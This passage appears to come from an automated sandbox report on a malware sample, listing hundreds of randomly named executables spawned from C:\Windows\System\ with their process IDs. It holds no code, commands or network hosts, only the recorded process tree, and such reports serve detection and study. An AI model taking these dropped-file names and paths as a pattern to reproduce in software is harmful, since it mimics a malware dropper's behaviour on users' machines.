  C:\Windows\System\LlsZOME.exe
  2⤵
  PID:728
- C:\Windows\System\nflakNt.exe
  C:\Windows\System\nflakNt.exe
  2⤵
  PID:2412
- C:\Windows\System\TrrNbyI.exe
  C:\Windows\System\TrrNbyI.exe
  2⤵
  PID:884
- C:\Windows\System\wgKdLbi.exe
  C:\Windows\System\wgKdLbi.exe
  2⤵
  PID:2548
- C:\Windows\System\NwkUhPP.exe
  C:\Windows\System\NwkUhPP.exe
  2⤵
  PID:1764
- C:\Windows\System\hSeHSzP.exe
  C:\Windows\System\hSeHSzP.exe
  2⤵
  PID:844
- C:\Windows\System\NmcpKxE.exe
  C:\Windows\System\NmcpKxE.exe
  2⤵
  PID:2476
- C:\Windows\System\pUIQzLz.exe
  C:\Windows\System\pUIQzLz.exe
  2⤵
  PID:1504
- C:\Windows\System\EVhTBUl.exe
  C:\Windows\System\EVhTBUl.exe
  2⤵
  PID:5136
- C:\Windows\System\dmbwrhS.exe
  C:\Windows\System\dmbwrhS.exe
  2⤵
  PID:5152
- C:\Windows\System\ZtHWbkS.exe
  C:\Windows\System\ZtHWbkS.exe
  2⤵
  PID:5176
- C:\Windows\System\mpfhwpi.exe
  C:\Windows\System\mpfhwpi.exe
  2⤵
  PID:5196
- C:\Windows\System\HloKtUU.exe
  C:\Windows\System\HloKtUU.exe
  2⤵
  PID:5212
- C:\Windows\System\OFiWEqX.exe
  C:\Windows\System\OFiWEqX.exe
  2⤵
  PID:5232
- C:\Windows\System\xqGrrkl.exe
  C:\Windows\System\xqGrrkl.exe
  2⤵
  PID:5248
- C:\Windows\System\VVxNZTJ.exe
  C:\Windows\System\VVxNZTJ.exe
  2⤵
  PID:5264
- C:\Windows\System\VEEHcmv.exe
  C:\Windows\System\VEEHcmv.exe
  2⤵
  PID:5280
- C:\Windows\System\QxcuIun.exe
  C:\Windows\System\QxcuIun.exe
  2⤵
  PID:5296
- C:\Windows\System\TuQAFKF.exe
  C:\Windows\System\TuQAFKF.exe
  2⤵
  PID:5312
- C:\Windows\System\IsUwoRb.exe
  C:\Windows\System\IsUwoRb.exe
  2⤵
  PID:5328
- C:\Windows\System\UxJWuTm.exe
  C:\Windows\System\UxJWuTm.exe
  2⤵
  PID:5344
- C:\Windows\System\YukFuwp.exe
  C:\Windows\System\YukFuwp.exe
  2⤵
  PID:5360
- C:\Windows\System\Ruetctl.exe
  C:\Windows\System\Ruetctl.exe
  2⤵
  PID:5392
- C:\Windows\System\IuRpjPQ.exe
  C:\Windows\System\IuRpjPQ.exe
  2⤵
  PID:5408
- C:\Windows\System\vAGnCep.exe
  C:\Windows\System\vAGnCep.exe
  2⤵
  PID:5424
- C:\Windows\System\yfoEeIh.exe
  C:\Windows\System\yfoEeIh.exe
  2⤵
  PID:5440
- C:\Windows\System\selkuNq.exe
  C:\Windows\System\selkuNq.exe
  2⤵
  PID:5456
- C:\Windows\System\SJdUKmv.exe
  C:\Windows\System\SJdUKmv.exe
  2⤵
  PID:5472
- C:\Windows\System\mhRTipi.exe
  C:\Windows\System\mhRTipi.exe
  2⤵
  PID:5488
- C:\Windows\System\atAZeFQ.exe
  C:\Windows\System\atAZeFQ.exe
  2⤵
  PID:5504
- C:\Windows\System\RnfoNJH.exe
  C:\Windows\System\RnfoNJH.exe
  2⤵
  PID:5532
- C:\Windows\System\NknqAfJ.exe
  C:\Windows\System\NknqAfJ.exe
  2⤵
  PID:5548
- C:\Windows\System\nnYlfld.exe
  C:\Windows\System\nnYlfld.exe
  2⤵
  PID:5564
- C:\Windows\System\rIvSVZi.exe
  C:\Windows\System\rIvSVZi.exe
  2⤵
  PID:5580
- C:\Windows\System\tnWiwil.exe
  C:\Windows\System\tnWiwil.exe
  2⤵
  PID:5596
- C:\Windows\System\iRcMKsh.exe
  C:\Windows\System\iRcMKsh.exe
  2⤵
  PID:5612
- C:\Windows\System\IBlAiWp.exe
  C:\Windows\System\IBlAiWp.exe
  2⤵
  PID:5628
- C:\Windows\System\QGrGggG.exe
  C:\Windows\System\QGrGggG.exe
  2⤵
  PID:5644
- C:\Windows\System\vaGnNXG.exe
  C:\Windows\System\vaGnNXG.exe
  2⤵
  PID:5660
- C:\Windows\System\wqUxUGn.exe
  C:\Windows\System\wqUxUGn.exe
  2⤵
  PID:5676
- C:\Windows\System\DMZoYXf.exe
  C:\Windows\System\DMZoYXf.exe
  2⤵
  PID:5692
- C:\Windows\System\iEEDaeu.exe
  C:\Windows\System\iEEDaeu.exe
  2⤵
  PID:5708
- C:\Windows\System\RVvIHXj.exe
  C:\Windows\System\RVvIHXj.exe
  2⤵
  PID:5732
- C:\Windows\System\hLuUOQW.exe
  C:\Windows\System\hLuUOQW.exe
  2⤵
  PID:5780
- C:\Windows\System\GkOerVh.exe
  C:\Windows\System\GkOerVh.exe
  2⤵
  PID:5796
- C:\Windows\System\bIyFroB.exe
  C:\Windows\System\bIyFroB.exe
  2⤵
  PID:5812
- C:\Windows\System\HAUmvKM.exe
  C:\Windows\System\HAUmvKM.exe
  2⤵
  PID:5828
- C:\Windows\System\efyaagF.exe
  C:\Windows\System\efyaagF.exe
  2⤵
  PID:5844
- C:\Windows\System\zpfbmUZ.exe
  C:\Windows\System\zpfbmUZ.exe
  2⤵
  PID:5860
- C:\Windows\System\kVgYncM.exe
  C:\Windows\System\kVgYncM.exe
  2⤵
  PID:5876
- C:\Windows\System\TtTTOkF.exe
  C:\Windows\System\TtTTOkF.exe
  2⤵
  PID:5892
- C:\Windows\System\eVgrKUp.exe
  C:\Windows\System\eVgrKUp.exe
  2⤵
  PID:5932
- C:\Windows\System\terMzsq.exe
  C:\Windows\System\terMzsq.exe
  2⤵
  PID:5952
- C:\Windows\System\NnHgEdX.exe
  C:\Windows\System\NnHgEdX.exe
  2⤵
  PID:5968
- C:\Windows\System\OODsSBJ.exe
  C:\Windows\System\OODsSBJ.exe
  2⤵
  PID:5984
- C:\Windows\System\pmTSOac.exe
  C:\Windows\System\pmTSOac.exe
  2⤵
  PID:6000
- C:\Windows\System\QlJiaNE.exe
  C:\Windows\System\QlJiaNE.exe
  2⤵
  PID:6016
- C:\Windows\System\LXoDESs.exe
  C:\Windows\System\LXoDESs.exe
  2⤵
  PID:6032
- C:\Windows\System\xHBCDdR.exe
  C:\Windows\System\xHBCDdR.exe
  2⤵
  PID:6052
- C:\Windows\System\AcZFLcq.exe
  C:\Windows\System\AcZFLcq.exe
  2⤵
  PID:6068
- C:\Windows\System\JIyZLDg.exe
  C:\Windows\System\JIyZLDg.exe
  2⤵
  PID:6084
- C:\Windows\System\CjJokIA.exe
  C:\Windows\System\CjJokIA.exe
  2⤵
  PID:6100
- C:\Windows\System\zkWSRot.exe
  C:\Windows\System\zkWSRot.exe
  2⤵
  PID:6116
- C:\Windows\System\efMrNcj.exe
  C:\Windows\System\efMrNcj.exe
  2⤵
  PID:6132
- C:\Windows\System\YMXJPAU.exe
  C:\Windows\System\YMXJPAU.exe
  2⤵
  PID:4220
- C:\Windows\System\ncdTrCA.exe
  C:\Windows\System\ncdTrCA.exe
  2⤵
  PID:2724
- C:\Windows\System\pBMyZht.exe
  C:\Windows\System\pBMyZht.exe
  2⤵
  PID:2192
- C:\Windows\System\YFwLOgk.exe
  C:\Windows\System\YFwLOgk.exe
  2⤵
  PID:2228
- C:\Windows\System\PbdCavt.exe
  C:\Windows\System\PbdCavt.exe
  2⤵
  PID:1852
- C:\Windows\System\mGtZvSI.exe
  C:\Windows\System\mGtZvSI.exe
  2⤵
  PID:3464
- C:\Windows\System\RwKdQAO.exe
  C:\Windows\System\RwKdQAO.exe
  2⤵
  PID:3524
- C:\Windows\System\Ubrytpq.exe
  C:\Windows\System\Ubrytpq.exe
  2⤵
  PID:3588
- C:\Windows\System\vYtabHj.exe
  C:\Windows\System\vYtabHj.exe
  2⤵
  PID:3656
- C:\Windows\System\sXvPIhO.exe
  C:\Windows\System\sXvPIhO.exe
  2⤵
  PID:3716
- C:\Windows\System\uPNRDBK.exe
  C:\Windows\System\uPNRDBK.exe
  2⤵
  PID:3780
- C:\Windows\System\lmnuAda.exe
  C:\Windows\System\lmnuAda.exe
  2⤵
  PID:3736
- C:\Windows\System\aZHkdDA.exe
  C:\Windows\System\aZHkdDA.exe
  2⤵
  PID:2196
- C:\Windows\System\bOIMkcH.exe
  C:\Windows\System\bOIMkcH.exe
  2⤵
  PID:4016
- C:\Windows\System\lBPPVyI.exe
  C:\Windows\System\lBPPVyI.exe
  2⤵
  PID:4052
- C:\Windows\System\AiRWKgg.exe
  C:\Windows\System\AiRWKgg.exe
  2⤵
  PID:3156
- C:\Windows\System\QDndpHR.exe
  C:\Windows\System\QDndpHR.exe
  2⤵
  PID:4268
- C:\Windows\System\wGCFNUj.exe
  C:\Windows\System\wGCFNUj.exe
  2⤵
  PID:4428
- C:\Windows\System\WprASXF.exe
  C:\Windows\System\WprASXF.exe
  2⤵
  PID:4672
- C:\Windows\System\GlDckrE.exe
  C:\Windows\System\GlDckrE.exe
  2⤵
  PID:1948
- C:\Windows\System\cCpitSF.exe
  C:\Windows\System\cCpitSF.exe
  2⤵
  PID:3256
- C:\Windows\System\eQlbFhi.exe
  C:\Windows\System\eQlbFhi.exe
  2⤵
  PID:2964
- C:\Windows\System\FDxpQKD.exe
  C:\Windows\System\FDxpQKD.exe
  2⤵
  PID:3980
- C:\Windows\System\XWvSzvR.exe
  C:\Windows\System\XWvSzvR.exe
  2⤵
  PID:4120
- C:\Windows\System\ssfIEOO.exe
  C:\Windows\System\ssfIEOO.exe
  2⤵
  PID:5144
- C:\Windows\System\CSnOuea.exe
  C:\Windows\System\CSnOuea.exe
  2⤵
  PID:5192
- C:\Windows\System\thFtFIH.exe
  C:\Windows\System\thFtFIH.exe
  2⤵
  PID:5260
- C:\Windows\System\meUGXWm.exe
  C:\Windows\System\meUGXWm.exe
  2⤵
  PID:5324
- C:\Windows\System\uvkgyey.exe
  C:\Windows\System\uvkgyey.exe
  2⤵
  PID:5400
- C:\Windows\System\LVdotoG.exe
  C:\Windows\System\LVdotoG.exe
  2⤵
  PID:5468
- C:\Windows\System\rOYGYkd.exe
  C:\Windows\System\rOYGYkd.exe
  2⤵
  PID:3140
- C:\Windows\System\DiBwkuY.exe
  C:\Windows\System\DiBwkuY.exe
  2⤵
  PID:3208
- C:\Windows\System\BtlyWAg.exe
  C:\Windows\System\BtlyWAg.exe
  2⤵
  PID:3268
- C:\Windows\System\JkZCSPo.exe
  C:\Windows\System\JkZCSPo.exe
  2⤵
  PID:2424
- C:\Windows\System\GlabGCQ.exe
  C:\Windows\System\GlabGCQ.exe
  2⤵
  PID:1092
- C:\Windows\System\FOKFdqP.exe
  C:\Windows\System\FOKFdqP.exe
  2⤵
  PID:272
- C:\Windows\System\KevxjpF.exe
  C:\Windows\System\KevxjpF.exe
  2⤵
  PID:5544
- C:\Windows\System\DoktnVp.exe
  C:\Windows\System\DoktnVp.exe
  2⤵
  PID:5608
- C:\Windows\System\gGlAlNb.exe
  C:\Windows\System\gGlAlNb.exe
  2⤵
  PID:1912
- C:\Windows\System\dKqTKSU.exe
  C:\Windows\System\dKqTKSU.exe
  2⤵
  PID:3188
- C:\Windows\System\YEAFlLp.exe
  C:\Windows\System\YEAFlLp.exe
  2⤵
  PID:1592
- C:\Windows\System\ljsRXUj.exe
  C:\Windows\System\ljsRXUj.exe
  2⤵
  PID:2876
- C:\Windows\System\cTKFmVu.exe
  C:\Windows\System\cTKFmVu.exe
  2⤵
  PID:4904
- C:\Windows\System\MHoWYHi.exe
  C:\Windows\System\MHoWYHi.exe
  2⤵
  PID:4920
- C:\Windows\System\SPzdWwJ.exe
  C:\Windows\System\SPzdWwJ.exe
  2⤵
  PID:4936
- C:\Windows\System\vHobPgp.exe
  C:\Windows\System\vHobPgp.exe
  2⤵
  PID:4952
- C:\Windows\System\unkIEJj.exe
  C:\Windows\System\unkIEJj.exe
  2⤵
  PID:4968
- C:\Windows\System\fvwoeeb.exe
  C:\Windows\System\fvwoeeb.exe
  2⤵
  PID:2552
- C:\Windows\System\CGDNkkF.exe
  C:\Windows\System\CGDNkkF.exe
  2⤵
  PID:5076
- C:\Windows\System\lOIlOnj.exe
  C:\Windows\System\lOIlOnj.exe
  2⤵
  PID:5096
- C:\Windows\System\xRufXvx.exe
  C:\Windows\System\xRufXvx.exe
  2⤵
  PID:5208
- C:\Windows\System\cSmCqDW.exe
  C:\Windows\System\cSmCqDW.exe
  2⤵
  PID:5304
- C:\Windows\System\QZUccmH.exe
  C:\Windows\System\QZUccmH.exe
  2⤵
  PID:5368
- C:\Windows\System\bUKaRFh.exe
  C:\Windows\System\bUKaRFh.exe
  2⤵
  PID:5388
- C:\Windows\System\SdgprqN.exe
  C:\Windows\System\SdgprqN.exe
  2⤵
  PID:5740
- C:\Windows\System\AEpDDcy.exe
  C:\Windows\System\AEpDDcy.exe
  2⤵
  PID:2392
- C:\Windows\System\MKxikGF.exe
  C:\Windows\System\MKxikGF.exe
  2⤵
  PID:5836
- C:\Windows\System\mzqIMKL.exe
  C:\Windows\System\mzqIMKL.exe
  2⤵
  PID:5520
- C:\Windows\System\ASmcMQE.exe
  C:\Windows\System\ASmcMQE.exe
  2⤵
  PID:5560
- C:\Windows\System\griwVEb.exe
  C:\Windows\System\griwVEb.exe
  2⤵
  PID:5624
- C:\Windows\System\eGrsWpO.exe
  C:\Windows\System\eGrsWpO.exe
  2⤵
  PID:5684
- C:\Windows\System\WAdOWIR.exe
  C:\Windows\System\WAdOWIR.exe
  2⤵
  PID:5840
- C:\Windows\System\gcWvCBH.exe
  C:\Windows\System\gcWvCBH.exe
  2⤵
  PID:5900
- C:\Windows\System\DQArXTN.exe
  C:\Windows\System\DQArXTN.exe
  2⤵
  PID:5924
- C:\Windows\System\yIBXbrk.exe
  C:\Windows\System\yIBXbrk.exe
  2⤵
  PID:5964
- C:\Windows\System\mQJZXQV.exe
  C:\Windows\System\mQJZXQV.exe
  2⤵
  PID:5820
- C:\Windows\System\KthPHbp.exe
  C:\Windows\System\KthPHbp.exe
  2⤵
  PID:6044
- C:\Windows\System\CyVOdDC.exe
  C:\Windows\System\CyVOdDC.exe
  2⤵
  PID:6060
- C:\Windows\System\hqLrrZZ.exe
  C:\Windows\System\hqLrrZZ.exe
  2⤵
  PID:1588
- C:\Windows\System\tvzgrfY.exe
  C:\Windows\System\tvzgrfY.exe
  2⤵
  PID:3480
- C:\Windows\System\OXyMGSd.exe
  C:\Windows\System\OXyMGSd.exe
  2⤵
  PID:3812
- C:\Windows\System\ZolwfTw.exe
  C:\Windows\System\ZolwfTw.exe
  2⤵
  PID:340
- C:\Windows\System\WTfaPnN.exe
  C:\Windows\System\WTfaPnN.exe
  2⤵
  PID:3508
- C:\Windows\System\ejexhRQ.exe
  C:\Windows\System\ejexhRQ.exe
  2⤵
  PID:3608
- C:\Windows\System\DEuzMvP.exe
  C:\Windows\System\DEuzMvP.exe
  2⤵
  PID:4400
- C:\Windows\System\pQNooDU.exe
  C:\Windows\System\pQNooDU.exe
  2⤵
  PID:5188
- C:\Windows\System\POedeGD.exe
  C:\Windows\System\POedeGD.exe
  2⤵
  PID:5856
- C:\Windows\System\OltcnCD.exe
  C:\Windows\System\OltcnCD.exe
  2⤵
  PID:3700
- C:\Windows\System\asmkKaD.exe
  C:\Windows\System\asmkKaD.exe
  2⤵
  PID:5944
- C:\Windows\System\CiauZCs.exe
  C:\Windows\System\CiauZCs.exe
  2⤵
  PID:6008
- C:\Windows\System\vPUoNWY.exe
  C:\Windows\System\vPUoNWY.exe
  2⤵
  PID:6040
- C:\Windows\System\DTYEXgc.exe
  C:\Windows\System\DTYEXgc.exe
  2⤵
  PID:6112
- C:\Windows\System\LqPrnIS.exe
  C:\Windows\System\LqPrnIS.exe
  2⤵
  PID:2452
- C:\Windows\System\iLNFHEq.exe
  C:\Windows\System\iLNFHEq.exe
  2⤵
  PID:3652
- C:\Windows\System\OWCuahv.exe
  C:\Windows\System\OWCuahv.exe
  2⤵
  PID:4048
- C:\Windows\System\EXlGjRq.exe
  C:\Windows\System\EXlGjRq.exe
  2⤵
  PID:5028
- C:\Windows\System\hwvrbXe.exe
  C:\Windows\System\hwvrbXe.exe
  2⤵
  PID:4144
- C:\Windows\System\dqsaVvc.exe
  C:\Windows\System\dqsaVvc.exe
  2⤵
  PID:4036
- C:\Windows\System\mBRmiIQ.exe
  C:\Windows\System\mBRmiIQ.exe
  2⤵
  PID:4584
- C:\Windows\System\FrGfbxK.exe
  C:\Windows\System\FrGfbxK.exe
  2⤵
  PID:4648
- C:\Windows\System\dWwFNzl.exe
  C:\Windows\System\dWwFNzl.exe
  2⤵
  PID:4816
- C:\Windows\System\TsOSeVJ.exe
  C:\Windows\System\TsOSeVJ.exe
  2⤵
  PID:4872
- C:\Windows\System\mEQhjpD.exe
  C:\Windows\System\mEQhjpD.exe
  2⤵
  PID:4900
- C:\Windows\System\WPspbML.exe
  C:\Windows\System\WPspbML.exe
  2⤵
  PID:4916
- C:\Windows\System\PrMqVCP.exe
  C:\Windows\System\PrMqVCP.exe
  2⤵
  PID:4964
- C:\Windows\System\xGEHENp.exe
  C:\Windows\System\xGEHENp.exe
  2⤵
  PID:4976
- C:\Windows\System\oHjEvKC.exe
  C:\Windows\System\oHjEvKC.exe
  2⤵
  PID:3108
- C:\Windows\System\WDTBRJV.exe
  C:\Windows\System\WDTBRJV.exe
  2⤵
  PID:4496
- C:\Windows\System\LuTPNgx.exe
  C:\Windows\System\LuTPNgx.exe
  2⤵
  PID:4736
- C:\Windows\System\uPCLGSx.exe
  C:\Windows\System\uPCLGSx.exe
  2⤵
  PID:3012
- C:\Windows\System\HCluelq.exe
  C:\Windows\System\HCluelq.exe
  2⤵
  PID:1940
- C:\Windows\System\avPuFuL.exe
  C:\Windows\System\avPuFuL.exe
  2⤵
  PID:5072
- C:\Windows\System\yjibFaQ.exe
  C:\Windows\System\yjibFaQ.exe
  2⤵
  PID:1920
- C:\Windows\System\alhcdWn.exe
  C:\Windows\System\alhcdWn.exe
  2⤵
  PID:1728
- C:\Windows\System\aTKQhxr.exe
  C:\Windows\System\aTKQhxr.exe
  2⤵
  PID:3968
- C:\Windows\System\eMzqiTa.exe
  C:\Windows\System\eMzqiTa.exe
  2⤵
  PID:3080
- C:\Windows\System\afhtOoD.exe
  C:\Windows\System\afhtOoD.exe
  2⤵
  PID:5132
- C:\Windows\System\czzdVkV.exe
  C:\Windows\System\czzdVkV.exe
  2⤵
  PID:5204
- C:\Windows\System\hcAsiff.exe
  C:\Windows\System\hcAsiff.exe
  2⤵
  PID:5168
- C:\Windows\System\QtPiZap.exe
  C:\Windows\System\QtPiZap.exe
  2⤵
  PID:5376
- C:\Windows\System\ifGUpnn.exe
  C:\Windows\System\ifGUpnn.exe
  2⤵
  PID:5804
- C:\Windows\System\GyOXTtn.exe
  C:\Windows\System\GyOXTtn.exe
  2⤵
  PID:5620
- C:\Windows\System\eQlZKfe.exe
  C:\Windows\System\eQlZKfe.exe
  2⤵
  PID:5920
- C:\Windows\System\mOkOjej.exe
  C:\Windows\System\mOkOjej.exe
  2⤵
  PID:6024
- C:\Windows\System\yMWieuo.exe
  C:\Windows\System\yMWieuo.exe
  2⤵
  PID:3008
- C:\Windows\System\mxzugJb.exe
  C:\Windows\System\mxzugJb.exe
  2⤵
  PID:4832
- C:\Windows\System\mWJspwq.exe
  C:\Windows\System\mWJspwq.exe
  2⤵
  PID:5976
- C:\Windows\System\ppuKkoo.exe
  C:\Windows\System\ppuKkoo.exe
  2⤵
  PID:6108
- C:\Windows\System\XcanciK.exe
  C:\Windows\System\XcanciK.exe
  2⤵
  PID:2744
- C:\Windows\System\hIWUNHL.exe
  C:\Windows\System\hIWUNHL.exe
  2⤵
  PID:5340
- C:\Windows\System\AjbfVpe.exe
  C:\Windows\System\AjbfVpe.exe
  2⤵
  PID:5652
- C:\Windows\System\NOtpxDb.exe
  C:\Windows\System\NOtpxDb.exe
  2⤵
  PID:5904
- C:\Windows\System\aTXyyDW.exe
  C:\Windows\System\aTXyyDW.exe
  2⤵
  PID:6124
- C:\Windows\System\GExRiKM.exe
  C:\Windows\System\GExRiKM.exe
  2⤵
  PID:3560
- C:\Windows\System\zNVnSwT.exe
  C:\Windows\System\zNVnSwT.exe
  2⤵
  PID:5320
- C:\Windows\System\PGntriD.exe
  C:\Windows\System\PGntriD.exe
  2⤵
  PID:5940
- C:\Windows\System\OxhOfcd.exe
  C:\Windows\System\OxhOfcd.exe
  2⤵
  PID:2080
- C:\Windows\System\eoFLjbl.exe
  C:\Windows\System\eoFLjbl.exe
  2⤵
  PID:2848
- C:\Windows\System\hMNuWQJ.exe
  C:\Windows\System\hMNuWQJ.exe
  2⤵
  PID:3016
- C:\Windows\System\UqquUvU.exe
  C:\Windows\System\UqquUvU.exe
  2⤵
  PID:2852
- C:\Windows\System\aLdffzr.exe
  C:\Windows\System\aLdffzr.exe
  2⤵
  PID:5228
- C:\Windows\System\BXsvKcx.exe
  C:\Windows\System\BXsvKcx.exe
  2⤵
  PID:4564
- C:\Windows\System\VyxfKbv.exe
  C:\Windows\System\VyxfKbv.exe
  2⤵
  PID:1276
- C:\Windows\System\BIXmPSp.exe
  C:\Windows\System\BIXmPSp.exe
  2⤵
  PID:1712
- C:\Windows\System\hzobGWI.exe
  C:\Windows\System\hzobGWI.exe
  2⤵
  PID:3864
- C:\Windows\System\ZhItXJI.exe
  C:\Windows\System\ZhItXJI.exe
  2⤵
  PID:3396
- C:\Windows\System\brsvDDj.exe
  C:\Windows\System\brsvDDj.exe
  2⤵
  PID:3300
- C:\Windows\System\juyykKE.exe
  C:\Windows\System\juyykKE.exe
  2⤵
  PID:4176
- C:\Windows\System\ewsVrmH.exe
  C:\Windows\System\ewsVrmH.exe
  2⤵
  PID:2600
- C:\Windows\System\yeRpPIF.exe
  C:\Windows\System\yeRpPIF.exe
  2⤵
  PID:2480
- C:\Windows\System\kHtCEOA.exe
  C:\Windows\System\kHtCEOA.exe
  2⤵
  PID:3400
- C:\Windows\System\xgbSZdI.exe
  C:\Windows\System\xgbSZdI.exe
  2⤵
  PID:5540
- C:\Windows\System\sEPPliy.exe
  C:\Windows\System\sEPPliy.exe
  2⤵
  PID:2400
- C:\Windows\System\HIyuYNX.exe
  C:\Windows\System\HIyuYNX.exe
  2⤵
  PID:1044
- C:\Windows\System\IPDEXAK.exe
  C:\Windows\System\IPDEXAK.exe
  2⤵
  PID:2672
- C:\Windows\System\VOjXWvc.exe
  C:\Windows\System\VOjXWvc.exe
  2⤵
  PID:2916
- C:\Windows\System\IHnDWJm.exe
  C:\Windows\System\IHnDWJm.exe
  2⤵
  PID:4412
- C:\Windows\System\recUBnT.exe
  C:\Windows\System\recUBnT.exe
  2⤵
  PID:4352
- C:\Windows\System\TxTKIhv.exe
  C:\Windows\System\TxTKIhv.exe
  2⤵
  PID:4484
- C:\Windows\System\LuKHsPj.exe
  C:\Windows\System\LuKHsPj.exe
  2⤵
  PID:4552
- C:\Windows\System\DBaeSOC.exe
  C:\Windows\System\DBaeSOC.exe
  2⤵
  PID:4860
- C:\Windows\System\aoajALS.exe
  C:\Windows\System\aoajALS.exe
  2⤵
  PID:4948
- C:\Windows\System\RCuqulN.exe
  C:\Windows\System\RCuqulN.exe
  2⤵
  PID:2240
- C:\Windows\System\azpHtkD.exe
  C:\Windows\System\azpHtkD.exe
  2⤵
  PID:3920
- C:\Windows\System\BTwZhbK.exe
  C:\Windows\System\BTwZhbK.exe
  2⤵
  PID:4864
- C:\Windows\System\STiEhSA.exe
  C:\Windows\System\STiEhSA.exe
  2⤵
  PID:4448
- C:\Windows\System\MHfeaYi.exe
  C:\Windows\System\MHfeaYi.exe
  2⤵
  PID:5272
- C:\Windows\System\mhNDzcU.exe
  C:\Windows\System\mhNDzcU.exe
  2⤵
  PID:4884
- C:\Windows\System\PcNbyXh.exe
  C:\Windows\System\PcNbyXh.exe
  2⤵
  PID:4892
- C:\Windows\System\WxCRWNZ.exe
  C:\Windows\System\WxCRWNZ.exe
  2⤵
  PID:5244
- C:\Windows\System\spMswvh.exe
  C:\Windows\System\spMswvh.exe
  2⤵
  PID:4980
- C:\Windows\System\iZxbQdD.exe
  C:\Windows\System\iZxbQdD.exe
  2⤵
  PID:1260
- C:\Windows\System\SKMnhVY.exe
  C:\Windows\System\SKMnhVY.exe
  2⤵
  PID:5384
- C:\Windows\System\LtEibxU.exe
  C:\Windows\System\LtEibxU.exe
  2⤵
  PID:2808
- C:\Windows\System\HorSFiR.exe
  C:\Windows\System\HorSFiR.exe
  2⤵
  PID:3624
- C:\Windows\System\vSMQtpW.exe
  C:\Windows\System\vSMQtpW.exe
  2⤵
  PID:5528
- C:\Windows\System\QpFcLqJ.exe
  C:\Windows\System\QpFcLqJ.exe
  2⤵
  PID:3848
- C:\Windows\System\WXcmpTk.exe
  C:\Windows\System\WXcmpTk.exe
  2⤵
  PID:6080
- C:\Windows\System\VwFIFiZ.exe
  C:\Windows\System\VwFIFiZ.exe
  2⤵
  PID:6096
- C:\Windows\System\joLUFuv.exe
  C:\Windows\System\joLUFuv.exe
  2⤵
  PID:4396
- C:\Windows\System\LGptzHC.exe
  C:\Windows\System\LGptzHC.exe
  2⤵
  PID:1032
- C:\Windows\System\WXomeFY.exe
  C:\Windows\System\WXomeFY.exe
  2⤵
  PID:1268
- C:\Windows\System\EbuOCXm.exe
  C:\Windows\System\EbuOCXm.exe
  2⤵
  PID:4116
- C:\Windows\System\OMROLzu.exe
  C:\Windows\System\OMROLzu.exe
  2⤵
  PID:2944
- C:\Windows\System\CzieoHu.exe
  C:\Windows\System\CzieoHu.exe
  2⤵
  PID:5256
- C:\Windows\System\dwJItkt.exe
  C:\Windows\System\dwJItkt.exe
  2⤵
  PID:5636
- C:\Windows\System\IbiSWAu.exe
  C:\Windows\System\IbiSWAu.exe
  2⤵
  PID:1000
- C:\Windows\System\hoAfxbO.exe
  C:\Windows\System\hoAfxbO.exe
  2⤵
  PID:1720
- C:\Windows\System\GiWBFyY.exe
  C:\Windows\System\GiWBFyY.exe
  2⤵
  PID:2516
- C:\Windows\System\hUdUKCZ.exe
  C:\Windows\System\hUdUKCZ.exe
  2⤵
  PID:4316
- C:\Windows\System\ummvEKv.exe
  C:\Windows\System\ummvEKv.exe
  2⤵
  PID:4548
- C:\Windows\System\Bqdcbmb.exe
  C:\Windows\System\Bqdcbmb.exe
  2⤵
  PID:5040
- C:\Windows\System\BsvTckE.exe
  C:\Windows\System\BsvTckE.exe
  2⤵
  PID:4444
- C:\Windows\System\uTAgdOp.exe
  C:\Windows\System\uTAgdOp.exe
  2⤵
  PID:4304
- C:\Windows\System\OcvSNkg.exe
  C:\Windows\System\OcvSNkg.exe
  2⤵
  PID:4636
- C:\Windows\System\uDlpsda.exe
  C:\Windows\System\uDlpsda.exe
  2⤵
  PID:3900
- C:\Windows\System\PuZkKAh.exe
  C:\Windows\System\PuZkKAh.exe
  2⤵
  PID:4932
- C:\Windows\System\JdOPbWp.exe
  C:\Windows\System\JdOPbWp.exe
  2⤵
  PID:1784
- C:\Windows\System\PcuObAx.exe
  C:\Windows\System\PcuObAx.exe
  2⤵
  PID:5516
- C:\Windows\System\KYfqLCQ.exe
  C:\Windows\System\KYfqLCQ.exe
  2⤵
  PID:5556
- C:\Windows\System\RCOyMTA.exe
  C:\Windows\System\RCOyMTA.exe
  2⤵
  PID:5448
- C:\Windows\System\YuFbTTY.exe
  C:\Windows\System\YuFbTTY.exe
  2⤵
  PID:5868
- C:\Windows\System\qRiXUoR.exe
  C:\Windows\System\qRiXUoR.exe
  2⤵
  PID:4992
- C:\Windows\System\mDeyOuB.exe
  C:\Windows\System\mDeyOuB.exe
  2⤵
  PID:3364
- C:\Windows\System\FUiXcDn.exe
  C:\Windows\System\FUiXcDn.exe
  2⤵
  PID:3620
- C:\Windows\System\QVZNOJz.exe
  C:\Windows\System\QVZNOJz.exe
  2⤵
  PID:2828
- C:\Windows\System\xujzyCQ.exe
  C:\Windows\System\xujzyCQ.exe
  2⤵
  PID:5604
- C:\Windows\System\PGxFFFe.exe
  C:\Windows\System\PGxFFFe.exe
  2⤵
  PID:4348
- C:\Windows\System\IvQZqeQ.exe
  C:\Windows\System\IvQZqeQ.exe
  2⤵
  PID:308
- C:\Windows\System\VPDuHAq.exe
  C:\Windows\System\VPDuHAq.exe
  2⤵
  PID:3252
- C:\Windows\System\ZQmfOhe.exe
  C:\Windows\System\ZQmfOhe.exe
  2⤵
  PID:5356
- C:\Windows\System\znPHcof.exe
  C:\Windows\System\znPHcof.exe
  2⤵
  PID:4284
- C:\Windows\System\deNrLaG.exe
  C:\Windows\System\deNrLaG.exe
  2⤵
  PID:4380
- C:\Windows\System\clwaFPm.exe
  C:\Windows\System\clwaFPm.exe
  2⤵
  PID:888
- C:\Windows\System\UuBuojT.exe
  C:\Windows\System\UuBuojT.exe
  2⤵
  PID:5124
- C:\Windows\System\KzUqSQE.exe
  C:\Windows\System\KzUqSQE.exe
  2⤵
  PID:5172
- C:\Windows\System\AIHoITu.exe
  C:\Windows\System\AIHoITu.exe
  2⤵
  PID:3172
- C:\Windows\System\fNTuhhY.exe
  C:\Windows\System\fNTuhhY.exe
  2⤵
  PID:5912
- C:\Windows\System\msRyttJ.exe
  C:\Windows\System\msRyttJ.exe
  2⤵
  PID:4616
- C:\Windows\System\GcdFCQS.exe
  C:\Windows\System\GcdFCQS.exe
  2⤵
  PID:2696
- C:\Windows\System\ECDtSgv.exe
  C:\Windows\System\ECDtSgv.exe
  2⤵
  PID:408
- C:\Windows\System\ZVGNCxt.exe
  C:\Windows\System\ZVGNCxt.exe
  2⤵
  PID:4384
- C:\Windows\System\QuAlMip.exe
  C:\Windows\System\QuAlMip.exe
